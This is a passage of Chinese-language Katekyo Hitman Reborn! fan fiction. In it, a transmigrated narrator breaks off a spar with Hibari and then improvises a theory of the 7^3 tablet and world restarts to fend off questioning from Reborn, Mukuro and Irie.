我手于是微微一松,却没有完全松手,而是压着他的手腕,以他的腕子为中心,向上旋转,整个人的重量,都在一秒内完全倒撑在了云雀的手腕上。 少年,好臂力! 他竟然就这样轻松地撑起了我的身体。 但,他动摇了,我毕竟有些重量。 看我的绝招,奥义·万有引力之术! 放弃了滞空,腰用力一扭,借着惯性的力量落地,手一紧一松再一丢,把云雀扔了出去。 古早逼王云雀恭弥绝不认输,我这奥义·万有引力之术竟然没能撼动他的反重力外套。 这合理吗? 他不是踩在地上,而是踩在牛顿的棺材板上。 我眼睛一眯,那不会真的缝上去的吧? 我当年的云雀COS服上,两边有六个扣子固定,一个口子固定不够好看,都是经验之谈。 突然,风力增大,刮下来一大片樱花,从我俩中间穿过。视野被阻碍,反倒成了战斗的好机会,风卷樱花的美景之后,是更美的景色,云雀的脸从花海中涌现。 MD,有一种已经输了的感觉。 他完全不顾打在身上的樱花花瓣,这些轻飘飘的花瓣也拦不住他——拦不住他,却能拦住他头顶的小松鼠。 风吹得有些大,樱花一片片地砸到松鼠的脑门上,它在云雀的扑杀中失衡,但似乎又不舍得去拽云雀的头发,于是一个后翻掉了下去。 要我说,小动物与动物园园长之间,绝对是双向奔赴。即使是在紧张刺激的切磋中,云雀也关注着头顶的重量,直接一个急刹车,收回了我面前的浮云拐,返回去接住了小松鼠。 他掌心的小松鼠稳住身体,就赶紧抱住了云雀的鼻子,云雀的嘴角向上了两个像素点。 哎呦喂——! 怎么感觉小松鼠拿的才是晋江主角的剧本,一时间不知道该嫉妒哪一个。 我也想拥有这样一只松鼠。 论,我回去的时候,把松鼠偷回去的可能性有多大。 一下子,我就没有了继续战斗的欲望。 “云雀君,基地内不是在解封试炼吗,你没有去?”我主动开口。 要知道,就连六道骸都悄咪咪地附身在骸枭上去跟进度了——都是为了确保他可爱的库洛姆的安全。 我指的是十年后的那一款。 云雀见我没有了兴致,也收势起来,将松鼠放到肩膀上,“我讨厌群聚。” 嘴硬,我昨天明明还在基地里看到了他,多半只是和众守护者们错开了时间。 但我没敢戳穿他,“指环解封之后,力量会成倍增长的哦。” “我不需要这些外物。” “宝石亮晶晶,云雀超喜欢。” “……?” 糟糕,我是想说云豆超喜欢来着,毕竟怎么会有小鸟不喜欢宝石呢? 奇怪的刻板印象增加了。 不过此时,还是逃命要紧。 云雀的指环上,连火焰都燃起来了。 但很快我就发现,云雀指环上燃烧的火焰,不是因为我胆大包天,而是因为纲吉。 金属指环在紫色的火光中,生成了比指环还大的宝石,通透的宝石正中,印着彭格列的家徽。 我一直好奇,按理来说,指环上的宝石是世界基石,一种不会被改变性质的完全物质,初代是怎么把家徽印进去的? 靠信念吗? 我停下了脚步,云雀当然也注意到了指环的变化。亮晶晶地宝石吸引到了树枝上唱校歌的云豆,小小的翅膀带动胖胖的身体,落在了云雀的手指上,短喙叽叽喳喳地啄弄着漂亮宝石。 云雀的嘴角又是两个像素点,猝不及防消气了。 我却没有了欣赏“美景”的心思,看着这彭格列指环,我的心也飘回了基地。 我难道是什么诅咒吗,怎么我在基地好几天,纲吉的试炼没什么进展,我一出门,他马上就成功了。 为自己鸣不平。 可恶,我们非酋什么时候才能站起来! “我回基地了,有机会再战。” 我丢下一句话,便匆匆赶了回去。 也不是我有多着急,实在是尤尼酱那边经不住消耗,拖得时间越长,她的生命流逝就更多。 绝不是担心委员长想起来我的累累罪行,绝对不是! 一踏进基地门,头顶的扬声器就马上叫出了我的名字。 “纲不吉先生回来了!” 再一次强调,我真的有点后悔用这个名字给自己挖了坑。 我是在考验自己的憋笑能力。 头顶声音倒是很有辨识度,是强尼二。 “我在并中遇到了云雀君,看到了指环解封,就赶紧回来了,纲吉君成功了?”我直接抬头说话,基地里的扬声器,应该都能收声。 “嗯!已经成功了!不愧是十代目大人!”强尼二大声赞扬,中气十足的声音让人根本无法想象这个声音的主人也是007的一员,原来睡眠不足也能如此精神、如此积极向上吗! 不愧是彭格列的王牌技师,其境界果然非我这种普通人能够相提并论。 强尼二的扬声器里公放的声音在基地中回荡,我很快就意识到,他是在开公共频道和我对话,这甚至是个为了应对紧急情况而设立的通讯线路,会无差别地强行连接到彭格列内所有带扬声器的通讯设备上。 前言撤回,他果然还是被007摧残得神志不清了吧。 强尼二就在这样的紧急线路中,疯狂吹起纲吉的彩虹屁,从简单的“厉害”到和试炼完全不沾边的“英俊潇洒”等词汇,我根本插不进去话。 一直到我进入纲吉的所在地,自带回音效果的强尼二的发言,还是一点停下来的意思都没有。 训练场里的纲吉满脸通红,关不掉这个线路的声音,整个人已经恨不得挖个洞钻到地里去了。偏偏旁边还有狱寺这个捧哏,以及山本这个捧哏的捧哏。 不要再说了,再说下去,纲吉就要变成社恐了。 “遇到战斗了。” 骸枭扇着翅膀落到了我肩膀上,大概是注意到了我身上的花瓣、灰尘和裂开的衣角,“和云雀恭弥?” 不愧是老对手,一眼就能分辨。 他到底是从哪里看到了委员长的痕迹? 我点头,这也不是什么需要避讳的事,“你又知道了?” “只是猜测,他一直想和你打。”骸枭一副他什么都知道的样子。 ……你又知道了? 果然,我当年嗑的CP都是有原因的。 骸枭还挺八卦,“谁赢了?” 他不会是心疼云雀geigei了吧。我被自己这种想法搞出了一身鸡皮疙瘩,无端打了个冷战,“还没打起来,封印就解开了。这边的事情更重要,如此应该就可以进行下一步了吧。” “Kufufufu,果然,不论是十年前的沢田纲吉,还是十年后的沢田纲吉,都一样愚蠢,能轻易地舍弃彭格列指环这样重要的东西。” Look in my eyes,你最好是真的认为纲吉愚蠢。 眼睛里满意能不能收一收,这样下去我要回忆起那些年看过的骸枭x27的R18本子了啊! 只能说,犄角旮旯里的漫画店真是太有意思了。 “还不都是为了尤尼和你可爱的库洛姆的性命吗?”我报复性地撸了一把骸枭脖子上的绒毛,结果发现没有毛,都是肉。 难怪我的肩膀这么沉,《骸枭·实心》。 “Kufufufufufufufu——” 音效陡然增加一倍,阴森程度百分百。 骸枭你不能再笑了,没发现库洛姆已经注意到这边了吗? 这样下去,哪怕是迷妹也终有一天会注意到你的变态之处。 但玩归玩闹归闹,要论着急,有十年后库洛姆和尤尼酱的性命危险在,六道骸和纲吉绝对是排在第一档位,在我之上的。 所以根本不需要我主动提,他们就会想要赶紧推进下一步。 突然,一只手从背后袭来,绝赞幽怨男鬼音拖长语调,“纲·不·吉·君——” 比骸枭·实心版还要重的力量抓住了的肩膀,几乎如有实质的黑泥从身后翻涌而来。 鬼,有两种类型,一种是瞳孔缩小眼白大型,一种是瞳孔放大占满眼眶型,而我身后这个,可谓是达到了二者合一的巅峰。眼睛瞪大瞳孔无限缩小,黑线环绕在眼眶周围,黑眼圈无限扩大。 入江正一君,你的面相都变了,完全变成了阴湿男鬼了啊,喂! 这一定是我在这个世界里,第一次感觉到“恐惧”两个字的具象化。 “我重新研究了纲吉君他们从异常时间线里穿越回来的数据,将当时三个基石群的力量波动分割开了。基于一些实验成果,我、斯帕纳和强尼二都认为,想要在排除掉尤尼小姐生命力的情况下,在7^3石板上获取彩虹之子奶嘴的共鸣,至少要让其他两边的火焰再次达到那样的峰值。我们不能保证没有「适格者」的玛雷指环的数据情况,那么压力就全部给到了拥有彭格列指环的大家。 但,就我刚才用纲吉君彭格列指环解封时的火焰波动峰值测算,就算在翻一倍也达不到最低线的要求。通常来说,解封时的力量本身就应该是指环力量的活跃高峰期,如果这个时候都达不到,之后就更为艰难。怎么办怎么办怎么办,我毫无头绪——” OH,NO!正一君!你嘴里吐出来的是什么,是你的灵魂吗! 我惊恐地抱住正一,把这股白色的烟雾塞回他的身体。 不要放弃战斗啊,正一君! 他当初真不应该害怕白花花的,白花花应该反过来害怕他才对。 “让Reborn用死气弹试试看?”我死马当活马医的建议。 死气模式叠加死气弹,日常篇才是最牛的。 回答我的不是正一,而是Reborn本人,不走寻常路的他带着自己的王座从房顶的通风口垂了下来,“不行呢,我已经尝试过了。” 不愧是Reborn,狠活儿根本轮不到我来整。 “如果不考虑指环质量的影响,所谓‘火焰的峰值’,实际上就是觉悟的峰值。”骸枭没有掩饰自己六道骸的身份和语气,直接插话进来,“火焰和觉悟是可以划等号的。” 等等,骸的意思是在说,纲吉的觉悟不够? 绝!不!可!能! 我皱眉,笃定道:“他的觉悟不会输给任何人。” 主角怎么会觉悟不够? 或许是我有点自信过头了,Reborn看向我的眼神,带上了几分意味不明的味道。 “纲吉君心性坚韧,觉悟远超常人。”我甚至不需要自己编,直接复制粘贴,背景音全是强尼二的彩虹屁。 “纲不吉君,这不仅仅是个人心性的问题。觉悟是一种很复杂的东西,能够实质化成火焰,又可以被测量成数值,当然不仅仅是看不见摸不着的‘心性’一词可以概括的。人的觉悟取决于认知上限,无法认知的东西,自然也无法成为觉悟的基础。”入江正一的每一个字都拖长了语调,像是呼吸困难的人的说话方式。 说真的,正一君,睡一觉吧,你这样真的很可怕。 “也就是说,沢田纲吉并没有完全理解7^3石板的意义,和世界基石级别的力量。”骸枭马上就跟上了入江正一的思路。 我恍然大悟。 不是纲吉不愿意,而是他一门心思往前冲,实际上却并没有完全理解自己在冲刺的目标到底是什么。 等等,所以我之前无法觉悟出火焰,也不是因为我不行,而是因为我的认知和觉悟不匹配? 明白了,是我的认知太超前了,一般的觉悟根本配不上我的认知。 确信.jpg “石板的启动不仅需要足够的力量,还需要足够的知识。”Reborn顺着骸枭的声音,直接把话挑明。 认真的说,对于似乎取得过全科不及格这种顶级成就的纲吉来说,学习的难度好像要比战斗大多了。 但我很快意识到,这个结论似乎牵扯出另一个隐形问题。也即,我能够顺利地启动7^3石板,就反向说明,我对石板的了解极深。 我似乎闻到了被人挖坑的危险味道,Reborn的眼神原来是这个意思。 入江正一没有关注Reborn的眼神,只是自顾自地感叹,“我已经把我关于石板的全部研究报告拿给了纲吉君,但——” “完全看不懂呢,蠢纲那家伙。”Reborn毫不留情地diss着纲吉。 我顺势瞄了一眼地面上散落的那些正一的报告,数据、图表还有一大堆专业术语。太抽象了,这种东西是中学生应该看懂的东西吗? 别说是究极学渣纲吉了,就是我这个经历过高考摧残的人,也一丁点都看不懂啊! 正一君,你有没有考虑过纲吉君还只是一个国中生的问题呢? 我嘴角泛抽抽。 但对上正一那007扭曲的面相,指责的话根本说不出口。 “等等,这是……?”我捡起掉落在我脚边的一张报告,上面赫然标着“尊敬的十代目的左右手,狱寺隼人著”的字样。 破案了,罪魁祸首原来是你。 狱寺的滤镜已经到了认为纲吉能看懂这份报告的地步了吗? 忠犬之力,恐怖如斯。 “如果达不到那个峰值的话,就算是把指环嵌入石板中也没有用。”骸枭的眼神阴沉了下去,我猜他已经在考虑用幻术来进行5D全方位教学的可能性了。 但Reborn却在他有所决定之前说道:“即使阿纲理解了入江的报告也不够。” 我看向正一,只见他也确实点了头,“我和斯帕纳不提,狱寺君也已经先一步尝试过,他和我一起撰写的报告,完全理解了我的研究成果,可火焰波动的峰值仍然差很多。” 有认知、有觉悟、有彭格列指环的狱寺的火焰也没有达到指标的话,就说明正一研究其实没有触及到7^3石板的本质。 “7^3的本质是‘世界’、是世界的本质,恐怕不理解这个世界本质的人,觉悟也不可能达到触发石板的标准。”入江正一为了努力研究石板,画风都要变了,“我想,白兰先生在那么多的平行宇宙中,都没能真正启动石板,恐怕不仅仅是因为彩虹之子奶嘴的活性问题,或许也有不理解世界本质的原因在; 但,除了这个我遇到了纲吉君的世界线以外,其他的世界线中,我大部分时候都在为白兰先生工作,应该也有我真正成为密鲁菲奥雷守护者的世界线存在。可是,那么多的我、那么多的时间和资源,都没有搞清楚石板的本质,我实在不确定现在的我能不能创造奇迹,更何况统治了世界的白兰先生,手下的研究员也不止我一个,连他们都没有进展……” 入江正一陷入了巨大的内耗之中。 Reborn看向我,“纲不吉,你认为,世界的本质到底是什么?” 好家伙,原来是在这里等着我。 答案我当然知道,世界的本质是——漫画,是画面、文字和分镜。 但这种答案,我怎么能说得出口!? 第140章 穿越大危机! 这是什么死亡问题, 为什么这种死亡问题总会在不经意间,落到我的头上! 主角生命必要承受之重吗? 可恶。 Reborn的豆豆眼从未如此犀利,前面铺垫了那么多, 全部都是为了现在这临门一脚。 我就知道, 之前那些断断续续的试探根本就没有结束。 纲吉憨憨也就罢了,时间错位,拉进度条跳过了中间一大段并肩战斗的剧情, Reborn这样的第一杀手绝不可能轻而易举地接受来历不明的我。 现在怎么办? 救救我,救救我! 用很中规中矩的答案来搪塞吗? 但能说的表面答案,入江正一都已经说过了,全部不达标。 纲吉看不懂复杂的报告, 但狱寺这个撰写者也已实测过, 只是那种程度的认知和认知下的觉悟,根本无法真正启动7^3石板。 那我之前启动的石板算什么,算我运气好吗? Reborn这个眼神……他既然已经问出口了,那势必是有所猜测。 肩膀上骸枭更是看热闹不嫌事大地在那里“Kufufufu”的阴间笑。他和我接触的时间更长,之前还被我当作过人设工具人, 心中的怀疑只怕比Reborn还多。 就连入江正一这个浓眉大眼的, 此时在我眼里也是一派天然黑的模样。 完蛋,看来今天真是跑得了和尚, 跑不了方丈, 我非要给出个反常识的答案不可。 就像是被临场推上台表演才艺一样,我不由自主地抠动起脚指——这就是我任何情况下都坚决不穿凉鞋的最大原因。 我眼睛一垂, 天人交战、快速思考。今天知道跑不脱, 那就只能展示一下的高端操作, 总之张嘴先下一个结论, “世界的本质是……线条。” Reborn眉毛一挑, 像是没有理解我话中的含义,正等着我继续说下去。 “线条……?”入江正一也明显陷入了头脑风暴。 漫画嘛,当然是平面线条组成的。 我也不是没有经历过,在二次元世界之中,因为某些破次元的意外,看到世界色彩褪去之后,变成线条的状况。 这是真话,只不过是删减掉了一些重要信息。 经验丰富就是好,开局一张嘴,设定全靠编。不过,随便瞎扯也是要有依据的,七真三假掺和着说。 往好处想想,这个问题在这个自带平行世界和穿越时空理念的世界,已经是最容易回答的了。 “时间线,空间线,”我按顺序伸出两根手指,“当然还有线与线交叉的点——入江君,其实你对世界的理解也不能算错,只是,‘世界’和‘世界’的概念不同,你看到的,并不是7^3想要的。” 虽然发问的是Reborn,但我说话时正对着的、眼神注视着的,却是入江正一。 他听着我的瞎胡扯,已经一脸凝重的思考起来。 我毫不客气地继续加码,“我没有看你和狱寺君的报告。”就是看了也看不懂,在这方面我和纲吉完全是半斤八两,“但我猜,你所研究的所谓‘世界’,一定是指我们现在所处的这个世界——我们脚下站着的大地,我们抬头看到的天空、我们呼吸的空气等等……这些都是我们所处的时间线和空间线条交叉而出的世界。既然生活在这个世界,那么认知自然很容易被困在这个概念里。” 我以我寒窗苦读十几年的文科生身份回答,概念这种东西就是要把一个简单的东西,拆解成一堆云里雾里听不懂的话。 在“不说人话”的修炼里,我自认已经达到了“谜语自在我心”的地步。 但专业的不愧是专业的,入江正一一点儿也没有被我绕进去的意思,“你的意思是,和7^3石板交织的‘世界’概念,不是我们现在所见所感的现行世界吗?” 别这么快把我的“不说人话”简化成“人话”啊。 我往前走了几步,穿过Reborn的视线,站定在7^3石板之前,“别被框在这一个世界里,虽然我们是站在这个世界里,用这个时间和空间的交点概念理解这个世界无可厚非,但7^3和我们不同,石板意义上的‘世界’自然也和我们看到的‘世界’不一样。” 我将7^3的概念独立了出来,“它是这个世界的基石,却不只是这个世界的基石。” “我知道,但——”入江正一急切地开口,我这一堆小车轱辘话,他很快就提取到了核心。这毕竟是个有多重平行概念存在的世界,如此简单的划分,他很可能也思考过,只是没有明确的结果。 悄咪咪的小声说,我甚至觉得,这个方向本身就没有“结果”可言。 不过,我并不害怕创造新概念,尤其是当我知道,这个“新概念”只有世界意识会为我背书的时候。 我这么自信,是绝对不会把话语权交回给入江正一的。于是,还不等他的“但是”说完,我就马上打断了他,甚至伸出手指直接压在他的嘴上,用霸道总裁脸邪魅一笑,“不,你不知道。” 一下子,入江正一的眼神都清澈了。 “我说的‘线’,不仅仅是指宏观上那些时间、空间的概念,也不单单是指玛雷指环、彭格列指环以及彩虹之子的奶嘴这三大基石。而是指每一个人、每一个存在于世界中的有形与无形之物——组成世界的一切,都是独立‘线’勾勒出来的。” 对我来说,“线”的意义在于,不论是人还是物,是天空还是大地,都是画出来的;但对于入江正一他们来说,“线”的意义自然就是时间线和空间线——反正说出来,都是线。 我用手指,从上到下虚空勾了个入江正一的轮廓出来,“你,也是由时间和空间堆叠起来的造物,就是无数个这样如你的造物,又进一步汇聚成了独立的世界。再进一步,那就是无数个这样的世界组成了更大的世界——所有世界,皆以7^3为锚点,共同存在。” 清澈的入江正一毫无怀疑地把我的话听了进去,我和他之间毕竟有些患难真情,他应该是在场所有人之中,最相信我的一个。 和他相比,骸枭就算和我一起逃亡过,也没有什么感情可言。还是正一好骗——咳,我的意思是,他更加真诚。 听到我的话,正一根本不会率先考虑我说的对不对,而是会默认为对,进一步洗脑自己。 这就是“信任”一词的力量。 随即,一股强烈的愧疚涌了上来,忽悠正一这样的人,实在是太有负罪感了。 但开弓没有回头箭,我只能硬着头皮继续往下说,“世界的多元的,”二次元的世界嘛,比“一元”多,所以多元,“但锚点是唯一的,虽然所有的世界都存在一个7^3石板,但本质上来说,石板的实体,只有一个。” 这话无法验真,也无法证伪,我完全是在有意识地顺应八兆亿卷王的意图。祂是八兆亿个世界里孕育出的唯一意识,想要单独存在自然就要摆脱和复杂世界牵连的桎梏。 祂无法独立做到这一点,那我就帮帮祂。 当然,我不能直接把世界意识的概念直说出去,不过只要7^3石板的“板设”立得好,那卷王自不会放过石板的机会。 这一波,是我和卷王的双向奔赴。 歪打正着的契机,正是将卷王和7^3石板彻底锁死的好机会。 “大树不论有多繁茂的枝叶,主干都永远只有一个。7^3石板只有一个实体,这唯一的实体,投射在空间线上,可以映照出无限的影子,八兆亿、九兆亿、一百兆亿——都只是一个数字而已。”这其实也是在对应漫画视角,不管有多少支线,主线视角永远都在主角或主角团头上,这就是“主干”。 Reborn当然不会落下思路,很轻松地理解了我的话,“你的意思是,我们的世界,是所有世界的中心?” 陷阱题,妥妥的陷阱题。 八兆亿个世界,这么复杂且密集的世界线,除了世界之外的上帝视角,谁也无法确定主线。虽说这个世界的时间穿越已经是“八兆亿的奇迹”,但奇迹不等于中心。 果然不愧是Reborn,360当,当当不一样。 但我不上当。 “只剩下一个‘活’着的世界了,参天大树只剩下这一枝,就算不是中心,也是中心了。”我说完就觉得,自己可真是个小天才。 果然,这样的话说出来,Reborn没有再追问什么,而是陷入了沉思。 “所有其他世界都毁掉的意思是,你的世界也毁掉了,对吧?”Reborn没说话,骸枭来发力。 顶级待遇,我被Reborn和六道骸围攻了。 不过这种问题,点头摇头都有破绽,不能回答得太轻松。我酝酿了一下情绪,回头给了骸枭一个眼神,却没有正面予以答复,而是跳过了答案,用了另外一种迂回暗示的方式来回应——“不论是玛雷指环、彭格列指环,还是彩虹之子的奶嘴,最初都是7^3石板上的宝石,和7^3石板是一个整体——甚至可以说,一开始也没有所谓‘宝石’和‘石板’分隔开的概念。 但是,在「某件事」的契机下,7^3完整的力量出现了分割,石板和宝石互相独立开来。并且,从那之后,‘主干’作为锚点唯一且固定,‘枝叶’作为影子放射且蔓延的局面,就一直稳定地延续到了今天。那你们要不要猜猜看,这个「某件事」,究竟是什么事?” 交流小技巧之用问题回答问题——反客为主。 我毕竟是主角,在场的几人都随我的话开始思考。这无厘头的反问看似毫无线索,但结合我先前的话,以及三大世界基石所代表的时间、空间的要素,这个问题实际却并不难回答。 很快,入江正一就在思索后,率先抬起了头。 他未必是最先想出来的,但绝对是最捧我场的。 “是——世界的创造。”他不假思索地先说了结论,接着才从头分析,“既然有‘主干’有‘枝叶’,那就必然有源头,也即是,有‘根’!7^3石板是世界的锚点,那么它的产生、变化、分离,实际就是世界产生、变化、分离的过程。世界的时间和空间开始出现分支,也是7^3石板的力量开始出现分支的外化——这两者是同步的,甚至可以说是同一件事。” 入江正一越说越来劲,仿佛一通百通似的,让我这个信口开河的老登——不对,是“小登”,不由有些心虚。 “如果说,石板本身作为锚点具有唯一性,是‘主干’,那么‘枝叶’就是既不具有‘唯一性’又一定会在每个世界都会出现的东西——只能是彭格列指环、玛雷指环、彩虹之子的奶嘴三大基石。既属于石板,又已不是石板本身……”入江正一抚摸过石板上他曾经差点带上的玛雷晴之指环,将前面所有的设定讨论,全部总结成了一句话,“世界中心和唯一的7^3石板实体相互对应,是世界的‘主干’;八兆亿个平行世界和每个时间空间都存在的三大基石对应,是繁茂的‘枝叶’;而二者相汇,就成了‘根’——一切的源头,世界创造的源头。” 入江正一,你简直就是我的神! 职业秘书人,总结能力超一流。从今天开始,我的家教本命就是你了,捧场王! “正向推导如此,那如果反过来想,将石板和宝石合二为一,成为完整的7^3,实际就等于复刻了创造世界的过程……”入江正一想到了什么,猛然抬头,看向我寻求答案。 我露出了赞赏的微笑,“锚点真正的实体只有一个,7^3石板只有一个。所以,石板在此,就代表着这里,就是唯一‘中心’,就是唯一的‘主干’。而只要‘主干’在,那理论上来说,以‘主干’为中心延伸投射的‘枝叶’,就可以存在。 确实,其他平行世界现在已经都是‘死亡’状态,但‘死亡’不等于‘消失’,‘死亡’的世界依然存在,不过嘛——是荒芜地存在,可以理解为‘枯萎的枝叶’。可只要这里的7^3石板重新汇聚激活成一个整体,接着再行分割,就等同于以这个世界为核心,重现最初世界创造成立、建立分支的过程。枯木也可再逢春,也即是——全世界线重启!” 重启本身就是出现过概念,我趁热打铁重新修缮一番,有八兆亿卷王的双向奔赴,逻辑通常即为存在! 这样,我的行为动机是不是也更加合理了起来? 也算是隐晦地回答了六道骸的问题——毕竟按照正常逻辑理解,需要重启的世界,当然是毁灭掉的世界。 “可是,‘死亡’的世界虽然不会消失,却也不会继续前进。相当于,现在我们所处的世界,是唯一一个时间还在正常运行的世界,从这里重启……也只能以我们所处世界为蓝本、以石板激活为原点,进行重启。其他所有世界的过去都将不复存在,所有世界的‘过去’,实际上都成了‘我们’的过去……”虽然骸枭说的是“其他世界”,但看向我的眼神,无疑是在单独和我对话,“新的世界、过去的你——对你来说,这样的重启,究竟有什么意义?” 如果说入江正一是最佳捧场王,那么六道骸就是我最佳的配合搭档。 我就等着他问这一句呢! “难道能够启动7^3石板的纲吉君,是打算永远留在这个时间点吗?”我挑眉反问。 这次,就连Reborn的眼睛里,都闪过了清晰的诧异。 入江正一瞪大了眼睛,“你的意思是,会从十年之前的节点,刷新世界吗?” “单一的时间线中,这里的十年后的未来是十年前纲吉君的过去,他已经和十年后正在装置后假死沉睡的纲吉君拥有了不同的过去。新的过去,就会创造新的未来。一旦纲吉君重返十年前,就已经至少创造出了十年前和十年后两个并行存在的平行世界。重启的‘锚点’,自然可以二者择其一。” 我直接否了以这个“十年后战胜密鲁菲奥雷”为原点分裂新的平行世界的答案,歪头看向正一,“怎么,难道你现在要告诉我,这不是你们制造时间机器的初衷吗?” 140-150 第141章 看看Reborn的表情, 看看正一的表情,再看看骸枭的表情——我可真是个小精灵鬼! 一顿分析猛如虎,不仅把无法回答的问题糊弄了过去, 而且还趁机树立了7^3石板的独特地位。 其实倒也不能算我说的有多离谱, 毕竟不论我说出多少花来,最后结果就是:现在只有一个世界还存活,这个“最后的世界”是主线世界, 并且在这个主线世界中,有且只有一个7^3石板存在——这不原本就是现在的实际情况吗? 我只是根据这个结论,稍微添加了一点私货,而且是卷王最想要的“私货”。 我话都已经说到这个份儿上了——不论平行世界有多少个, 7^3石板都只有一个, 符合卷王八兆亿唯一的需求;再加上那个彭格列指环、玛雷指环和彩虹之子奶嘴三大基石和7^3石板嵌合激活后,世界重启的设定。 简直完美贴合卷王需求。 要是这样的开局,祂都抓不住机会的话,那真是有违祂从八兆亿个世界里诞生出自我意识的超高校级奇般的人设——不对,祂也不是人, 所以应该算是世界意识设? 如果要问为什么那两点是卷王最需要的东西? 很简答, 完整的7^3石板这种既跨越全平行世界,又在主线世界具有唯一性的世界基石, 是卷王想要独立出来、拥有完整人格的最佳容器。石板的独立性和唯一性越明确, 自然对卷王来说就越有利。 而后者,重启世界对卷王的必要性更胜石板。 对于现在的八兆亿卷王来说, 最大的依仗是“世界意识”这一取之不尽的力量源头;但同样的, 想要运用世界意识的影响力, 就必然要遵守世界意识下的规则——这是他独立目的的最大阻碍。 白花花对平行世界的过度探索虽然成就了祂的自主意识产生, 但也同样不断刺激世界的自我保护机制完善着规则。 真是成也白花花, 败也白花花。即使原则上来说,卷王确实是在全时空全世界汇聚的人的意识中诞生的,但白花花的地位也绝对特殊,是祂产生的支柱。 这也是卷王想要白花花死的原因之一。 太不稳定了。 不稳定到威胁的程度。 白花花的死——括弧,卷王以为的死,消除了祂的初步威胁,接下来自然就要摆平世界规则。 但规则这种东西,又岂是人力所能及? 只有世界重启,才能重置所有规则——尤其是那些因为白花花过度使用平行世界能力而被世界意识不断完善的规则、那些卷王想要摆脱的规则。 所以,卷王祂不论是出于想要借用7^3石板的存在而获得实体独立的原因,还是要借世界重启的机会摆脱世界规则束缚的原因,都一定会配合我,和我双向奔赴。 果然,危机都是与机会并存的。 我的说辞称不上完美无缺,但因为双向奔赴的存在,即使有遗漏缺口,也自会有卷王替我描补一二。 入江正一这个自己人,也给我贡献了至少一半的信任值。 越是像他这样的人,就越会脑补,他和卷王一明一暗,完全能够达到一加一大于二的配合。 我暗自点头,甚至有点自得。 要问我为什么需要时刻关注八兆亿卷王的态度…… 很简单,这不是旁边正坐着个超直感吗?如果没有一点外挂支援,万一有一个点被戳破,那连锁反应带来的信任崩塌,可就麻烦得不止一点点了。 不过……我转头关注纲吉同学,好像是我多虑了。 纲吉的眼睛已经变成了两个龙卷圈,他看上去,完全没有理解我们刚才交锋的对话——既没有感觉到我们快速交换的剑拔弩张,也没有理解我们话语本身的意思。 难怪他一直不出声,我转头看过去,他甚至讪笑着低了低头,就极了害怕被点名回答问题的学生。 尤其是,背景音里,一直隐隐约约延续着的强尼二的彩虹屁更是重量级,简直绝杀。这个紧急频道无法关闭,这简直是对纲吉同学心灵的极致折磨。 他肉眼可见的焦虑,而且焦虑地有点不正常。 再怎么说,他也是常年霸榜年级倒数、在Reborn出现之前我甚至觉得他可能准备摆烂的人,会因为一堂课听不懂就焦虑到这种地步吗? 我坐在这里,甚至感觉能够听到他“咚咚”的心跳。 很难评,真的很难评。 入江正一太过专注,即使我已经多次提到了纲吉,但他似乎并没有注意到纲吉的窘境,“初衷……” 听到这个词,他似乎陷入了某种迷茫的情绪。 “最开始我其实……没有想过那么多。在和纲吉君——我是说,十年后的纲吉君合谋的很长一段时间,我都不真正觉得能赢白兰先生。”入江正一表现得就像一个殉道者,明知不可为而为之,“也谈不上什么初衷——” 也很正常,那时候白花花的BOSS压迫感……啧啧啧,确实没的说,绝对是TOP级。距离白花花相当近的入江正一,当然比任何人都更直观地感受着BOSS的压力,不战生怯也没什么好置喙的。 是我刚才的用词有些草率了。 这样心理的正一,确实很可能在做事之前,没有考虑过最佳结局。 对他来说,能打败白花花就已经是难以想象的胜利了,至于胜利之后的事,大概只有一个思考雏形。 “不过,时间穿越会创造新的平行时空这件事,我倒是旁敲侧击和白兰先生讨论过。”毕竟,通过十年炮筒研究时间穿越装置这件事,入江正一暗地里虽然是在和十年后的270密谋。但明面上,他确实是用六吊花的身份,在密鲁菲奥雷内、在白花花面前,打着将彭格列指环套到未来的幌子进行的。 “他说过,只要过去的纲吉君穿越到了现在,他就已经相当于做出了和这个时代纲吉君(270)不同的选择。理论上来说,这个‘十年前’时间点上不同的选择,就足以分裂出了两个平行时空。只不过,白兰先生也说,对于十年前的世界来说,因为纲吉君家族的消失、彭格列指环的消失,时间穿越而产生的新世界线也无法继续推进时间。所以通过时间前世界的戛然而止,也能保证十年前后两个世界的同一性。” 正一的话一说完,我就意识到,白花花的这种说法其实存在bug。因为平行时空的延伸仰赖的是玛雷指环,而非彭格列指环。十年前的时空,没道理因为彭格列指环的消失,就失去产生平行世界的可能。 如此明显的漏洞,正一当然当时就注意到了,也寻求过答案,可是…… “可是,我继续追问的时候,白兰先生就没有再回答我了。” 我眼睛一转,意识到正一此时的忧虑,不是担心十年前的世界线无法运行,反而是在担心其已经正式分出一条“十代目家族穿越到十年后,导致十年前的十代目家族不存在”的平行世界线。 一旦存在新的平行时空,那么我们现在所处的世界就未必是唯一存在的“主干”,眼前的7^3石板也就未必是那个具有唯一性的实体,而也了是映射投影的可能。若是发生这样的错位,那之前一顿猛如虎的分析,就会失去意义。 知道他在担心这个,我就不担心了。 任何需要赌概率的问题,现在都不是问题。 “在平行时空延伸这个课题上,白兰最有发言权。”我没有再多找说辞劝服入江正一,反而就顺着白花花过去不知是真是假的理论,认了下来,“只可惜他已经死了,他当时在想什么,只怕永远也不会有人知道了。” 不,其实我还是有机会的。 我这么想着,余光突然撞上了纲吉的视线。一股迷之心虚涌了上来。但面对超直感,就是心虚也绝对不能移开视线,我干脆抬头,反看了回去。 如此一来,纲吉反而像是被抓包的兔子,刺猬头都塌了些。 “但不论怎么说,风险也好、收益也罢,7^3石板是实体也好、投影也罢,一切都要建立在石板可以被启动的前提上,也就是说——”我拖长了语调,注视着纲吉的视线顺理成章。 Reborn斟酌了几秒,接上了我的话,默许了我对正一忧虑的回避,“一切都得要阿纲的火焰峰值达标才行。” “没错,”我点头,这次转身一屁股坐到了纲吉旁边,“所以,纲吉君,你怎么样?” 纲吉眼睑抽动,强行扯动嘴角干笑,“嗯——这个嘛……” “一个字都没有听明白——”Reborn完全没有给他任何打马虎眼的机会,“是吧。” 他甚至没有用疑问语气。 “我也不想这样的!”纲吉捂着额头,像是从最开始就没有跟上我们的对话一样,头发瞬间炸了起来。 Reborn惹毛了他,所以他现在变得毛茸茸了。 我承认,前面的铺垫,我确实整了点谜语人的活儿,但正一最后的一句话总结,应该很精炼了才对。 要不要,你切个死气号来试试看呢? 很显然,就连纲吉自己都有这种想法,甚至把手伸到了口袋里,把死气丸拿了出来。 不是大哥,你来真的? 